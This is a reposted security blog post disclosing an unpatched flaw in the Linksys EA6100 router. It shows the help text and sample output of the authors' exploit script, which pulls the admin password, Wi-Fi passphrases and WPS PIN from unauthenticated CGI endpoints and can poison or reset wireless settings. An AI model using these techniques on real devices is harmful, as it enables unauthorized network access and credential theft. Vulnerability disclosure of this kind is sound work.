Massaro Posted December 9, 2015 Report Posted December 9, 2015 Hello folks, welcome to the first of a four part blog mini-series on firmware and embedded devices. My name is Matt Bergin and i'll be guiding you through the series. We plan to release each part of the series on the Friday of each week in December. The release of the final part in our series is dependent on our responsible disclosure timeline holding for a finding, but we're pretty confident.We're going to start slowly and with something simple. Today's tale is about a little access point that tried and tried but just couldn't keep its mouth shut. If it has an IP it'll talk, and what it says you might not like. Though, we tried to make it stop (see the timeline in the advisory), it didn't seem to matter to the manufacturer. So here we are: an 0day to help start your holiday season.Sincerely,KoreLogicOnward and upward!You can purchase the vulnerable device and download the corresponding firmware here: Linksys Official Support - Linksys EA6100 AC1200 Dual-Band Smart Wi-Fi Wireless RouterWe'll start off by doing what every other blog on firmware reversing tells you to do: run binwalk. In this case, it will work without any changes and you'll end up with a sub-directory containing the files you're going to want. If you would rather work off of a live system, JTAG pins are on the board and the console can be found with your baudrate set to 115200.# lsbin etc JNAP libexec mnt proc sbin tmp vardev home lib linuxrc opt root sys usr www# cd www# lsbootloader_info.cgi incoming_log.txt security_log.txtcgi-bin jcgi speedtest_info.cgidhcp_log.txt JNAP sysinfo.cgiezwifi_cfg.cgi license.pdf uiget_counter_info.cgi outgoing_log.txt usbinfo.cgigetstinfo.cgi qos_info.cgiThere are a many CGI files of interest, I will only talk about a few.# ls -la sysinfo.cgilrwxrwxrwx 1 root root 23 Jul 21 2014 sysinfo.cgi -> /www/ui/cgi/sysinfo.cgi# ls -la getstinfo.cgilrwxrwxrwx 1 root root 23 Jul 21 2014 sysinfo.cgi -> /www/ui/cgi/getstinfo.cgi# ls -la sysinfo.cgilrwxrwxrwx 1 root root 23 Jul 21 2014 ezwifi_cfg.cgi -> /www/ui/cgi/ezwifi_cfg.cgiThese files are accessible from an unauthenticated perspective and allow the pentester to perform a variety of actions. A pentesting team with one person who is simultaneously conducting attacks from an already established network location and a geographically separate person oriented near the access point who desires access to the affected network could then use attacks like this to their advantage. This approach will reduce the need for internet facing assets whose use may compromise the engagement while allowing for a higher degree of persistency and anonymity. These attacks are a good example of why enterprise-grade wireless security is so important.$ python kl-linksys-ea6100-auth-bypass.py --helpBrought to you by Level at KoreLogicUsage: kl-linksys-ea6100-auth-bypass.py [options]Options: -h, --help show this help message and exit --host=HOST Target IP address --sysinfo Get target system information --getpwhash Get target wireless password hash --getclearpw Get target wireless SSID and cleartext password --isdefault Check if target is running the default admin credential (if yes, obtain passphrase) --resetwifi Reset the access point security (requires default passphrase) --poisonwifi Poison the access point security settings --getwpspin Get the WPS pin for the targethe switches above and their corresponding description convey the functionality built into our exploit.The first is --isdefault which works by sending the access point management interface a JNAP action over HTTP. The JNAP functionality within the EA series access points has been discussed previously; see for example https://github.com/Qanan/Linksys-JNAP-SiphonThis tool does indeed siphon out some interesting information, even information that is redundant to what we obtain through separate methods. While it used to be quite popular for the default admin account in these types of devices to just be admin/admin we found that is no longer the case for the EA series. Instead we found a (seemingly) random password on the label for our hardware. We didn't look, but lets just hope it isn't based on the serial number of the device or any other predicatable value really.So, what does --isdefault do? It sends an HTTP request to the access point with a header name X-JNAP-Action whose value is a URL.Example: 404 Page Not FoundThe access point will return an HTTP 200 with a JSON string. The string contains a key named 'output' which also contains a JSON value. This value has a key named 'isAdminPasswordDefault' and contains a boolean indicating whether or not the password has been changed.$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --isdefaultBrought to you by Level at KoreLogic[+] Target host is alive, proceeding.[+] Checking if administrator passphrase is default -[!] Passphrase is not defaultI changed the password, but what if I had not yet changed it? I mean, it's not admin/admin anymore so I should good right? Wrong. The access point will tell _anyone_ the default admin password regardless if it's set or not. In cases where isAdminPasswordDefault is True, the exploit will obtain the default password in clear text. You'll see this in action later on.What about getting access to the wireless network? Well, there are a few options. If you don't mind cracking hashes then --getpwhash will make an HTTP call to the access point at getstinfo.cgi which will then return the values shown below.$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getpwhashBrought to you by Level at KoreLogic[+] Target host is alive, proceeding.[+] Obtaining wireless password hash - SSID=[redacted] Passphrase=[redacted]What if you want to use WPS instead? No problem, just run --getwpspin. This makes an HTTP call to sysinfo.cgi and then parses the response for the value.$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getwpspinBrought to you by Level at KoreLogic[+] Target host is alive, proceeding.[+] Getting WPS pin - WPS PIN: [redacted]If you don't want to use any of those or maybe you just want the WPA2 password, you can use --getclearpw. This also makes a HTTP call to sysinfo.cgi, except this will search for the wireless security settings which are stored in cleartext.$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getclearpwBrought to you by Level at KoreLogic[+] Target host is alive, proceeding.[+] Obtaining wireless ssid and password - wl0 Passphrase: [redacted] wl0 SSID: [redacted] wl1 Passphrase: [redacted] wl1 SSID: [redacted]If you're looking for a "poison the well" type attack, then --poisonwifi is for you. This switch makes an HTTP call that will reconfigure NVRAM so the next time a change is applied your poisoned wireless settings will also get applied. Once the HTTP call to poison the settings has taken place, the exploit will call --getclearpw and search for your poisoned settings to ensure poisoning has taken place.$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --poisonwifiBrought to you by Level at KoreLogic[+] Target host is alive, proceeding.[+] Poisoning wireless ssid configuration[+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UISay stealth doesn't matter and this attack vector is still your best shot for some reason, if --isdefault is True the exploit can automatically reconfigure the wireless settings for quick network access. Using the switch --resetwifi will run --isdefault and if it returns True, it will then run a separate JNAP action that will perform the reconfiguration.$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --resetwifiBrought to you by Level at KoreLogic[+] Target host is alive, proceeding.[+] Resetting the access point security[+] Admin password is default, asking for the password[+] Got the passphrase: [redacted][+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2Sursa: https://blog.korelogic.com/blog/2015/12/04/linksys-0day-unauth-infodisco. Quote